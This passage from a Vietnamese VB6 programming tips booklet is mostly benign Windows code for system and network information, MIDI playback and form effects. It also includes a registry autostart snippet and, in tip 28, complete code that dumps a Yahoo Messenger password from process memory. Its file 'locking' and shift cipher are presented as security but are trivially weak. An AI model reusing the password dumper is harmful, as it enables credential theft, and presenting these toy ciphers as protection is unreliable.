GetKeyboardType(KT_TYPE)Case 1Me.Print "Keyboard type: IBM PC/XT or compatible (83-key) keyboard"Case 2Me.Print "Keyboard type: Olivetti “ICO” (102-key) keyboard"Case 3Me.Print "Keyboard type: IBM PC/AT (84-key) or similar keyboard"Case 4Me.Print "Keyboard type: IBM enhanced (101- or 102-key) keyboard"Case 5Me.Print "Keyboard type: Nokia 1050 and similar keyboards"Case 6Me.Print "Keyboard type: Nokia 9140 and similar keyboards"Case 7Me.Print "Keyboard type: Japanese keyboard"Case ElseMe.Print "Keyboard type: Unknown"End SelectEnd Sub'*********************************************************************'Hàm lấy số serial và hiệu của CPUPrivate Sub Lay_CPU()Dim SInfo As SYSTEM_INFOGetSystemInfo SInfoMe.Print "soá löôïng CPU : " + Str$(SInfo.dwNumberOrfProcessors)Me.Print "Ñôøi CPU : " + Str$(SInfo.dwProcessorType)Me.Print "Ñòa chæ boä nhôù döôùi : " + Str$(SInfo.lpMinimumApplicationAddress)Me.Print "Ñòa chæ boä nhôù treân : " + Str$(SInfo.lpMaximumApplicationAddress)End Sub

'*********************************************************************'Danh sách các Ports trong máyPublic Function TrimStr(strName As String) As String

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 31

Page 32: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0Dim x As Integerx = InStr(strName, vbNullChar)If x > 0 Then TrimStr = Left(strName, x - 1) Else TrimStr = strNameEnd FunctionPublic Function LPSTRtoSTRING(ByVal lngPointer As Long) As StringDim lngLength As LonglngLength = lstrlenW(lngPointer) * 2LPSTRtoSTRING = String(lngLength, 0)CopyMem ByVal StrPtr(LPSTRtoSTRING), ByVal lngPointer, lngLengthLPSTRtoSTRING = TrimStr(StrConv(LPSTRtoSTRING, vbUnicode))End FunctionPublic Function GetAvailablePorts(ServerName As String) As LongDim ret As LongDim PortsStruct(0 To 100) As API_PORT_INFO_2Dim pcbNeeded As LongDim pcReturned As LongDim TempBuff As LongDim i As Integerret = EnumPorts(ServerName, 2, TempBuff, 0, pcbNeeded, pcReturned)TempBuff = HeapAlloc(GetProcessHeap(), 0, pcbNeeded)ret = EnumPorts(ServerName, 2, TempBuff, pcbNeeded, pcbNeeded, pcReturned)If ret ThenCopyMem PortsStruct(0), ByVal TempBuff, pcbNeededFor i = 0 To pcReturned - 1Ports(i).pDescription = LPSTRtoSTRING(PortsStruct(i).pDescription)Ports(i).pPortName = LPSTRtoSTRING(PortsStruct(i).pPortName)Ports(i).pMonitorName = LPSTRtoSTRING(PortsStruct(i).pMonitorName)Ports(i).fPortType = PortsStruct(i).fPortTypeNextEnd IfGetAvailablePorts = pcReturnedIf TempBuff Then HeapFree GetProcessHeap(), 0, TempBuffEnd FunctionPrivate Sub Lay_Ports()Dim NumPorts As LongDim i As IntegerNumPorts = GetAvailablePorts("")Me.Print "Daùnh saùch caùc Port hieän taïi"For i = 0 To NumPorts - 1Me.Print Ports(i).pPortNameNextEnd Sub'*********************************************************************'Thôngt tin về tình trạng mạng và thông số card mạngPrivate Sub Lay_Adepter()Dim error As LongDim FixedInfoSize As LongDim AdapterInfoSize As LongDim i As IntegerDim PhysicalAddress As StringDim NewTime As DateDim AdapterInfo As IP_ADAPTER_INFODim Adapt As IP_ADAPTER_INFODim AddrStr As IP_ADDR_STRINGDim FixedInfo As FIXED_INFODim Buffer As IP_ADDR_STRINGDim pAddrStr As LongDim pAdapt As LongDim Buffer2 As IP_ADAPTER_INFODim FixedInfoBuffer() As ByteDim AdapterInfoBuffer() As Byte

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 32

Page 33: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0FixedInfoSize = 0error = GetNetworkParams(ByVal 0&, FixedInfoSize)If error <> 0 ThenIf error <> ERROR_BUFFER_OVERFLOW ThenMe.Print "GetNetworkParams sizing failed with error " & errorExit SubEnd IfEnd IfReDim FixedInfoBuffer(FixedInfoSize - 1)

error = GetNetworkParams(FixedInfoBuffer(0), FixedInfoSize)If error = 0 ThenCopyMemory FixedInfo, FixedInfoBuffer(0), Len(FixedInfo)Me.Print "Host Name: " & FixedInfo.HostName 'host nameMe.Print "DNS Servers: " & FixedInfo.DnsServerList.IpAddress 'dns server IPpAddrStr = FixedInfo.DnsServerList.NextDo While pAddrStr <> 0CopyMemory Buffer, ByVal pAddrStr, Len(Buffer)Me.Print "DNS Servers: " & Buffer.IpAddress 'dns server IPpAddrStr = Buffer.NextLoop

Select Case FixedInfo.NodeType 'node typeCase 1Me.Print "Node type: Broadcast"Case 2Me.Print "Node type: Peer to peer"Case 4Me.Print "Node type: Mixed"Case 8Me.Print "Node type: Hybrid"Case ElseMe.Print "Unknown node type"End Select

Me.Print "NetBIOS Scope ID: " & FixedInfo.ScopeId 'scope ID'routingIf FixedInfo.EnableRouting ThenMe.Print "IP Routing Enabled "ElseMe.Print "IP Routing not enabled"End If' proxyIf FixedInfo.EnableProxy ThenMe.Print "WINS Proxy Enabled "ElseMe.Print "WINS Proxy not Enabled "End If' netbiosIf FixedInfo.EnableDns ThenMe.Print "NetBIOS Resolution Uses DNS "ElseMe.Print "NetBIOS Resolution Does not use DNS "End IfElseMe.Print "GetNetworkParams failed with error " & errorExit SubEnd If

AdapterInfoSize = 0error = GetAdaptersInfo(ByVal 0&, AdapterInfoSize)

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 33

Page 34: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0If error <> 0 ThenIf error <> ERROR_BUFFER_OVERFLOW ThenMe.Print "GetAdaptersInfo sizing failed with error " & errorExit SubEnd IfEnd IfReDim AdapterInfoBuffer(AdapterInfoSize - 1)

error = GetAdaptersInfo(AdapterInfoBuffer(0), AdapterInfoSize)If error <> 0 ThenMe.Print "GetAdaptersInfo failed with error " & errorExit SubEnd IfCopyMemory AdapterInfo, AdapterInfoBuffer(0), Len(AdapterInfo)pAdapt = AdapterInfo.Next

Do While pAdapt <> 0CopyMemory Buffer2, AdapterInfo, Len(Buffer2)Select Case Buffer2.TypeCase MIB_IF_TYPE_ETHERNETMe.Print "Ethernet adapter "Case MIB_IF_TYPE_TOKENRINGMe.Print "Token Ring adapter "Case MIB_IF_TYPE_FDDIMe.Print "FDDI adapter "Case MIB_IF_TYPE_PPPMe.Print "PPP adapter"Case MIB_IF_TYPE_LOOPBACKMe.Print "Loopback adapter "Case MIB_IF_TYPE_SLIPMe.Print "Slip adapter "Case ElseMe.Print "Other adapter "End SelectMe.Print " AdapterName: " & Buffer2.AdapterNameMe.Print "AdapterDescription: " & Buffer2.Description 'adatpter name

For i = 0 To Buffer2.AddressLength - 1PhysicalAddress = PhysicalAddress & Hex(Buffer2.Address(i))If i < Buffer2.AddressLength - 1 ThenPhysicalAddress = PhysicalAddress & "-"End If

NextMe.Print "Physical Address: " & PhysicalAddress 'mac addressIf Buffer2.DhcpEnabled ThenMe.Print "DHCP Enabled "ElseMe.Print "DHCP disabled"End If

pAddrStr = Buffer2.IpAddressList.NextDo While pAddrStr <> 0CopyMemory Buffer, Buffer2.IpAddressList, LenB(Buffer)Me.Print "IP Address: " & Buffer.IpAddressMe.Print "Subnet Mask: " & Buffer.IpMaskpAddrStr = Buffer.NextIf pAddrStr <> 0 ThenCopyMemory Buffer2.IpAddressList, ByVal pAddrStr, Len(Buffer2.IpAddressList)End IfLoop

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 34

Page 35: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0Me.Print "Default Gateway: " & Buffer2.GatewayList.IpAddresspAddrStr = Buffer2.GatewayList.NextDo While pAddrStr <> 0CopyMemory Buffer, Buffer2.GatewayList, Len(Buffer)Me.Print "IP Address: " & Buffer.IpAddresspAddrStr = Buffer.NextIf pAddrStr <> 0 ThenCopyMemory Buffer2.GatewayList, ByVal pAddrStr, Len(Buffer2.GatewayList)End IfLoop

Me.Print "DHCP Server: " & Buffer2.DhcpServer.IpAddressMe.Print "Primary WINS Server: " & Buffer2.PrimaryWinsServer.IpAddressMe.Print "Secondary WINS Server: " & Buffer2.SecondaryWinsServer.IpAddress

NewTime = CDate(Adapt.LeaseObtained)Me.Print "Lease Obtained: " & CStr(NewTime)

NewTime = CDate(Adapt.LeaseExpires)Me.Print "Lease Expires : " & CStr(NewTime)pAdapt = Buffer2.NextIf pAdapt <> 0 ThenCopyMemory AdapterInfo, ByVal pAdapt, Len(AdapterInfo)End If

LoopEnd SubPrivate Sub Form_Load()Me.Font = "VNI-Palatin"Me.AutoRedraw = TrueTen_Card_ManHinhTen_Cac_May_InBan_PhimLay_CPULay_PortsLay_AdepterEnd Sub

Đôc chiêu 17 : Chương trình khởi động cùng với Windowns home Xuất xứ : www.pscode.comBinh khí sử dụng : Một ModuleĐoạn mã : (Trong đoạn mạ còn có thành phần ngừng ngắt chương trình khởi động cùng Windown )Module :Option ExplicitDeclare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As LongDeclare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As LongDeclare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As LongDeclare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As LongPublic Const REG_SZ = 1 ' Unicode nul terminated stringPublic Const REG_BINARY = 3 ' Free form binaryPublic Const HKEY_CURRENT_USER = &H80000001Sub SaveString(hKey As Long, strPath As String, strValue As String, strData As String) Dim Ret RegCreateKey hKey, strPath, Ret RegSetValueEx Ret, strValue, 0, REG_SZ, ByVal strData, Len(strData) RegCloseKey Ret

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 35

Page 36: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0End SubSub DelSetting(hKey As Long, strPath As String, strValue As String) Dim Ret RegCreateKey hKey, strPath, Ret RegDeleteValue Ret, strValue RegCloseKey RetEnd SubForm :Dim AppVirus As StringPrivate Sub Form_Load()

If Len(App.Path) <> 3 Then AppVirus = App.Path + "\" + App.exename + (“.exe”)Else AppVirus = App.Path + App.exename + (“.exe”)End If

SaveString HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", "DungCoi", AppVirus‘ DelSetting HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", "DungCoi"End Sub‘Chú ý : Phần DungCoi ở đây là Tên Key‘ Phần AppVirus là đường dẫn File của bạnĐôc chiêu 18 : Play một file nhạc Midi home Xuất xứ : Lê Nguyên Dũng (dungcoi2005) sửa lại từ www.allapi.netBinh khí sử dụng : Một Module, 2 nút ấn (CommandButton)Đoạn mã :Module :Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As LongForm :

Private Sub Form_Load()Command1.Caption = "Play"

Command2.Caption = "Stop"End SubPrivate Sub Command1_Click() result = mciSendString("open d:\Nhac.mid type sequencer alias canyon", 0&, 0, 0)‘d:\Nhac.mid : Đường dẫn File nhạc result = mciSendString("play canyon", 0&, 0, 0)‘Bắt đầu phát nhạc (Với đường dẫn File nhạc tương ứng với dòng lệnh phía trênEnd Sub

Private Sub Command2_Click() result = mciSendString("close all", 0&, 0, 0)‘Dừng phát nhạc, dừng tất cả các âm thanh phát ra loa bởi MCI (Nếu không có câu lệnh này thì dù bạn có thoát khỏi ứng dụng này thì MCI vẫn cứ phát nhạc)End SubĐôc chiêu 19 : Khoá một file ảnh định dạng .bmp home Xuất xứ : Lê Nguyên Dũng (dungcoi2005) sửa lại từ www.pscode.comBinh khí sử dụng : 2 nút ấn (CommandButton)Nói qua : Chiêu này rất hay các bạn ạ nó giúp bạn không cho người khác xem những tấm ảnh bạn muốn và quan trọng hơn bạn có thể dễ dành viết một phần mềm bảo mật ảnh. Nguyên tắc : Rất đơn giản các bạn ạ, chương trình sẽ phá vỡ Byte kết thúc của File =>> File sẽ không thể đúng định dạng chuẩn của ảnh Bitmap =>> Đố phần mềm nghe nhạc nào mà mở nổi . Cần nói them là vì nguyên tắc quá đơn giản thì cũng rất dễ bị người khác tìm cách phá vỡ(Tất nhiên họ phải có kiến thức kha khá )

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 36

Page 37: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0Đoạn mã :Function MoKhoa(File) A = FreeFile Open File For Binary As #A B$ = Chr(0) Put #A, 17, B$ Close #AEnd FunctionFunction KhoaAnh(File) A = FreeFile Open File For Binary As #A B$ = "X" Put #A, 17, B$ Close #AEnd FunctionPrivate Sub Command1_Click()KhoaAnh ("d:\hinh anh.bmp")End SubPrivate Sub Command2_Click()MoKhoa ("d:\hinh anh.bmp")End SubPrivate Sub Form_Load()Command1.Caption = " Khoa file anh"Command2.Caption = " Mo khoa file anh"End SubĐôc chiêu 20 : Để form của bạn ở chế độ “Luôn nổi” home Xuất xứ : Lê Nguyên Dũng (dungcoi) sửa lại từ www.allapi.netBinh khí sử dụng : 1 Timer có giá trị Interval = 50 hoặc gì gì đó nhưng đừng lớn quá chương trình kém “Nhạy” đừng nhỏ quá chương trình “Giật giật”Nguyên tắc : Nếu như một số Code, người ta chỉ thuần cho Form của bạn “On top” khi Load thì Code này chẳng qua cho nó “On top” dài dài bằng cách cho mấy câu lệnh để Fom “On top” vô biến cố của Timer. Ô la la, Very easy.Đoạn mã :Const HWND_TOPMOST = -1Const HWND_NOTOPMOST = -2Const SWP_NOSIZE = &H1Const SWP_NOMOVE = &H2Const SWP_NOACTIVATE = &H10Const SWP_SHOWWINDOW = &H40Private Declare Sub SetWindowPos Lib "User32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long)Private Sub Timer1_Timer() SetWindowPos Me.hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOACTIVATE Or SWP_SHOWWINDOW Or SWP_NOMOVE Or SWP_NOSIZEEnd SubĐôc chiêu 21 : TextBox chỉ “Chịu” nhận số home Xuất xứ : www.allapi.netBinh khí sử dụng : 1 TextBox và 1 ModuleNguyên tắc : Mỗi phím nhập vào sẽ được Bạn kiểm tra xem nó có là số hay không thong qua hàm Numberic nếu nó đúng là số thì “À số hả cho qua”, nếu đó không phải số số thì “Không phận sự miễn vào”Đoạn mã :

Private Sub Text1_KeyPress(KeyAscii As Integer) If IsNumeric(Chr(KeyAscii)) <> True Then KeyAscii = 0End SubĐôc chiêu 22 : Để form trở nên trong suốt home Xuất xứ : www.allapi.netBinh khí sử dụng : KhôngĐoạn mã :Const LWA_COLORKEY = &H1Const LWA_ALPHA = &H2

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 37

Page 38: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0Const GWL_EXSTYLE = (-20)Const WS_EX_LAYERED = &H80000Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As LongPrivate Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As LongPrivate Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hWnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As LongPrivate Sub Form_Load() Dim Ret As Long Ret = GetWindowLong(Me.hWnd, GWL_EXSTYLE) Ret = Ret Or WS_EX_LAYERED SetWindowLong Me.hWnd, GWL_EXSTYLE, Ret SetLayeredWindowAttributes Me.hWnd, 0, 128, LWA_ALPHAEnd Sub‘ Chú ý số 128 : Chính là số chỉ định độ trong suốt (Số này từ 0->255)Đôc chiêu 23 : Lấy tên người sử dung của Windowns home Xuất xứ : www.allapi.netBinh khí sử dụng : 1 ModuleĐoạn mã :Module :Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As LongForm :Sub Get_User_Name() Dim lpBuff As String * 25 Dim ret As Long, UserName As String ret = GetUserName(lpBuff, 25) UserName = Left(lpBuff, InStr(lpBuff, Chr(0)) - 1) MsgBox UserNameEnd SubPrivate Sub Form_Load()Get_User_NameEnd SubĐôc chiêu 24 : Chép cả màn hình làm việc vào một Picture home Xuất xứ : www.ttvnol.comBinh khí sử dụng : 1 Picture và một nút ấnĐoạn mã :Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As LongPrivate Declare Function StretchBlt Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal nSrcWidth As Long, ByVal nSrcHeight As Long, ByVal dwRop As Long) As Long Private Sub Command1_Click()Dim wScreen As LongDim hScreen As LongDim w As LongDim h As LongPicture1.Cls wScreen = Screen.Width \ Screen.TwipsPerPixelXhScreen = Screen.Height \ Screen.TwipsPerPixelY Picture1.ScaleMode = vbPixelsw = Picture1.ScaleWidthh = Picture1.ScaleHeight

hdcScreen = GetDC(0) r = StretchBlt(Picture1.hdc, 0, 0, w, h, hdcScreen, 0, 0, wScreen, hScreen, vbSrcCopy) End Sub Đôc chiêu 25 : Dấu dữ liệu dạng text vào 1 file bất kỳ home Xuất xứ : www.ttvnol.com

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 38

Page 39: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0Binh khí sử dụng : Hai textbox đặt tên lần lượt là txtPath và txtContains. Hai command button đặt tên lần lượt là CmdEncrypt và CmdDecryptNguyên tắc : Chèn vào cuối File thông điệp muốn đặt sau đó đặt lại Byte chót cùng cho “Nó” và “Thả” nó ra. Vì nguyên tắc đơn giản nên bạn cần kết hợp với chiêu “Mã hóa dữ liệu dạng Text” mới có “Cơ may” qua mặt kẻ thù.Đoạn mã : (Khi Runtime nhớ nhập đường dẫn và nội dung)Public Function Dat_Thong_Diep(DuongDan As String, ThongDiep As String) As StringOpen DuongDan For Binary As #1Dim BoDem As StringBoDem = Space(LOF(1))Get #1, , BoDemClose #1Dim Message As StringOpen DuongDan For Binary As #2Message = BoDem & ThongDiep & Chr(Len(ThongDiep))Put #2, , MessageEnd FunctionPublic Function Lay_Thong_Diep(DuongDan As String) As StringOpen DuongDan For Binary As #1Dim BoDem As StringBoDem = Space(LOF(1))Get #1, , BoDemClose #1Dim Message As StringDim LuuC As StringLuuC = Right(BoDem, 1)Message = Right(BoDem, Asc(LuuC) + 1)Message = Left(Message, Len(Message) - 1)Lay_Thong_Diep = MessageEnd Function

Private Sub CmdEncrypt_Click()If txtPath <> "" And txtContains <> "" ThenDat_Thong_Diep Trim$(txtPath), Trim$(txtContains)End IfEnd Sub

Private Sub CmdDecrypt_Click()txtContains = ""If txtPath <> "" ThentxtContains = Lay_Thong_Diep(Trim$(txtPath))End IfEnd SubĐôc chiêu 26 : Mở từng hộp thoại trong Control Panel home Xuất xứ : www.pscode.comBinh khí sử dụng : KhôngĐoạn mã : ( Do có nhiều phần nên tôi chỉ đưa ra Code cơ bản)'Hộp thoại System PropertiesDim dblReturn As DoubledblReturn = Shell("rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1", 5)‘Hộp thoại Add/Remove ProgramsDim dblReturn As DoubledblReturn = Shell("rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1", 5)' Hộp thoại Date/Time PropertiesDim dblReturn As DoubledblReturn = Shell("rundll32.exe shell32.dll,Control_RunDLL timedate.cpl", 5)' Hộp thoại Display PropertiesDim dblReturn As DoubledblReturn = Shell("rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0", 5)' Hộp thoại Game ControllersDim dblReturn As Double

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 39

Page 40: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0dblReturn = Shell("rundll32.exe shell32.dll,Control_RunDLL joy.cpl", 5)' Hộp thoại Internet PropertiesDim dblReturn As DoubledblReturn = Shell("rundll32.exe shell32.dll,Control_RunDLL inetcpl.cpl,,0", 5)' Hộp thoại Keyboard Properties Dim dblReturn As DoubledblReturn = Shell("rundll32.exe shell32.dll,Control_RunDLL main.cpl @1", 5)' Hộp thoại Modem Properties Dim dblReturn As DoubledblReturn = Shell("rundll32.exe shell32.dll,Control_RunDLL modem.cpl", 5)' Hộp thoại Mouse Properties Dim dblReturn As DoubledblReturn = Shell("rundll32.exe shell32.dll,Control_RunDLL main.cpl @0", 5)' Hộp thoại Multimedia Properties Dim dblReturn As DoubledblReturn = Shell("rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,0", 5)' Hộp thoại Network Dim dblReturn As DoubledblReturn = Shell("rundll32.exe shell32.dll,Control_RunDLL netcpl.cpl", 5)' Hộp thoại Regional Settings Dim dblReturn As DoubledblReturn = Shell("rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,0", 5)' Hộp thoại Sounds Properties Dim dblReturn As DoubledblReturn = Shell("rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl @1", 5)Đôc chiêu 27 : Mã hoá dữ liệu dạng text home Nói qua : Phần này rất hay các bạn nên chú ý trong thực tế ứng dụng nên sử dụng một file trung gian để chứa dữ liệu được mã hoáXuất xứ : www.vbcode.comBinh khí sử dụng : 2 Nút ấn với tên lần lượt là cmdEncode và cmdDecode, 3 TextBox với tên lần lượt là txtDulieu , txtKetQua và txtGiaiMa (Để test thì vậy là đủ còn tôi tất nhiên phải “Màu mè” hơn rồi)Nguyên tắc : “Băm nhỏ” từng ký tự trong chuỗi sau đó phân tích chúng ra mã Ascii, sau đó cộng thêm với mã Ascii này một hằng số (Ở đây chính là “Khóa mã”), rồi chuyển số Ascii vừa tìm được ra lại dạng ký tự, cuối cùng tiến hành “Ghép” lại các ký tự tạo thành chuỗi dữ liệu bị mã hóa.Đoạn mã :Public Function Encode(Data As String, Optional Depth As Integer) As StringDim TempChar As StringDim TempAsc As IntegerDim NewData As StringDim vChar As Integer

For vChar = 1 To Len(Data) TempChar = Mid$(Data, vChar, 1) TempAsc = Asc(TempChar) If Depth = 0 Then Depth = 40 If Depth > 254 Then Depth = 254

TempAsc = TempAsc + Depth If TempAsc > 255 Then TempAsc = TempAsc - 255 TempChar = Chr(TempAsc) NewData = NewData & TempCharNext vCharEncode = NewData

End FunctionPublic Function Decode(Data As String, Optional Depth As Integer) As StringDim TempChar As StringDim TempAsc As IntegerDim NewData As StringDim vChar As Integer

For vChar = 1 To Len(Data)

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 40

Page 41: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0 TempChar = Mid$(Data, vChar, 1) TempAsc = Asc(TempChar) If Depth = 0 Then Depth = 40 If Depth > 254 Then Depth = 254 TempAsc = TempAsc - Depth If TempAsc < 0 Then TempAsc = TempAsc + 255 TempChar = Chr(TempAsc) NewData = NewData & TempCharNext vCharDecode = NewData

End FunctionPrivate Sub CmdEncode_Click()TxtKetqua.Text = Encode(txtDulieu.Text, 9)End SubPrivate Sub cmdDecode_Click()txtGiaiMa.Text = Decode(TxtKetqua.Text, 9)End Sub‘ Chú ý : Ở chỗ số 9 chính là số ta cần để lựa chọn kiểu Mã hoá hay Giải mãĐôc chiêu 28 : Lấy mật khẩu khi đang Chat trên Yahoo home Xuất xứ : www.donganhonline.com (phuongthanh37)Binh khí sử dụng : KhôngNói qua : Có một số bạn hỏi tui rằng cái này có phải là lấy của chế độ tự động đăng nhập không nhưng không nó sẽ đọc trực tiếp bộ nhớ của Yahoo Mát sa ge (7.x).Chú ý : Nếu có vị “Độc giả” anò sau khi đọc sau “Món” này âm mưu viết chương trình ăn cắp mật khẩu thì sẽ “Tự lãnh hậu quả” đó. Lý do ??? Rất đơn giản quá trình đọc Regedit tuân thủ theo nguyên tắc của mấy chú “Virus” thường dung => AV “Bụp” liền. Như vậy để đủ “Trình độ” để làm “Người xấu” ta phải làm gì ??? Ồ tôi sẽ không nói cho các bạn đâu hehehehehe vì nếu tui nói thì chính tui (Dũng còi) sẽ làm gia tằng thêm số lượng hác cơ lơ tơ mơ như vậy thì “Họa” mất. Như vậy mún làm người xấu thì “Các ngừơi xấu của tương lai” hãy chịu khó học hỏi thêm đi nha. À “Chiêu thức “ này còn đang có nhiều tranh cãi nên chưa chắc chắn 100% nha (Riêng tui thành Test thành công)Đoạn mã :'Cac API va bien se su dungPrivate Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, _ ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As LongPrivate Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress _ As Long, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As LongPrivate Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As LongPrivate Declare Function GetWindowThreadProcessId Lib "user32" _ (ByVal hwnd As Long, lpdwProcessId As Long) As LongPrivate Declare Function FindWindow Lib "user32" Alias "FindWindowA" _ (ByVal lpClassName As String, ByVal lpWindowName As String) As LongPrivate Const PROCESS_ALL_ACCESS As Long = &H1F0FFFPrivate Const PROCESS_VM_READ = 16'Function de doc RegistryFunction DocKey(StrValue As String)Dim OBJ As ObjectOn Error Resume Next Set OBJ = CreateObject("wscript.shell") DocKey = OBJ.RegRead(StrValue)End Function'Phan noi dung chinh Dump Pass tu bo nho raFunction YM_Dump(StrTmp As String, Adr As Long) As StringDim Y_Pid, Y_Proc, bfLg As LongDim sss As StringDim res&, ant&Dim u As Integer

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 41

Page 42: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0'Tim can cua so chinh cua Y!Myahoobuddymain = FindWindow("yahoobuddymain", vbNullString)'Lay IdProcess Y!M tu ca'n HwndGetWindowThreadProcessId yahoobuddymain, Y_Pid'Mo Process Y!M de xu lyY_Proc = OpenProcess(PROCESS_ALL_ACCESS, False, Y_Pid)'Neu ko mo duoc bao loi va ket thucIf Y_Proc = 0 Then MsgBox "Khong thay YM!, Chay Y!M da nao", vbCritical: Exit FunctionDoEvents'Scan Pass tu offset 3600000 =&gt; 4100000j = 3600000Do j = j + 1 'Xu ly tung mang 2048 byte For I = 0 To 2048 ReadProcessMemory Y_Proc, j + I, bfLg, 1, 0& 'Neu thay ky tu 0 thi chuyen tiep de kiem tra If bfLg = 0 Then GoTo asd 'Cong don tung ky tu doc duoc sss = sss & Chr(bfLg) DoEvents Nextasd: If sss = StrTmp Then Exit Do 'Xac dinh cum ky tu co dinh sss = ""Loop Until j = 4100000sss = ""'Lay pass tu bo nho raFor I = 0 To 2048'Tu cum ky tu co dinh tim den offset chua pass de lay ra ReadProcessMemory Y_Proc, (j + 8) + I, bfLg, 1, 0& If bfLg = 0 Then CloseHandle P_Proc: YM_Dump = sss: Exit Function sss = sss & Chr(bfLg) DoEventsNextDoEventsEnd FunctionPrivate Sub Form_Load()On Error Resume Next'Lay ID tu trong RegistrytxtID = DocKey("HKEY_CURRENT_USER\Software\yahoo\pager\Yahoo! User ID")'KT co phai phien ban Y!M 7.0DocKey ("HKEY_CURRENT_USER\Software\yahoo\pager\v70")'Ton trong tac gia va ban than bang cach giu nguyen ten tac gia'Dump & Coded by PhuongThanh37'[email protected] http://donganhol.comIf Err.Number & lt & gt Then 'Dump Pass voi Y!M 6 va cum tu co dinh la "@W9" txtPass = YM_Dump("@W9", 8)Else 'Dump Pass voi Y!M 7 va cum tu co dinh la "q`c" txtPass = YM_Dump("q" & Chr(31) & "`c", 8)End If'Dua ket qua raMsgBox "Dump & Coded by phuongthanh37" + vbLf + _ "[email protected] Visit: http://donganhol.com" + vbLf + vbLf + _ "Yahoo! ID : " & txtID & vbLf + _ "Password : " & txtPass, 32, "Oh oh Dump pass Y!M in VB"EndEnd Sub

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 42

Page 43: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0Đôc chiêu 29 : Biến giao diện chương trình theo phong cách Windowns XP (Nền WindowXP thui nha) home Xuất xứ : www.pscode.com (Chú ý : Mẫu này lấy từ PSC tuy nhiên phần hiệu đính thì “Mượn” tạm của CauLacBoVB )Binh khí : Thật bực mình khi chương trình của bạn chạy trên nền WindownsXP hào nhoáng mà giao diện chương trình của bạn vẫn cứ trung thành với giao diện “Cổ điển” (Classic), vậy giờ ta sẽ cùng nhau khắc phục điều này.Chú ý : Trong thực tế ứng dụng (Để chương trình bạn mang tính “Pro” hơn bạn nên sử dụng kết hợp Resource với File này. Bạn sẽ được biết một (Hoặc vài) cách sử dụng Resource cực kỳ hiệu quả thông qua một chiêu ở sau (Chú ý hiện này do chưa có thời gian nên Dũng còi chưa cập nhật cho cuốn tài liệu chiêu này. Trong lần cập nhật sau sẽ có )Đoạn mã :Bạn copy đoạn code sau vô chương trình soạn thảo NotePad:

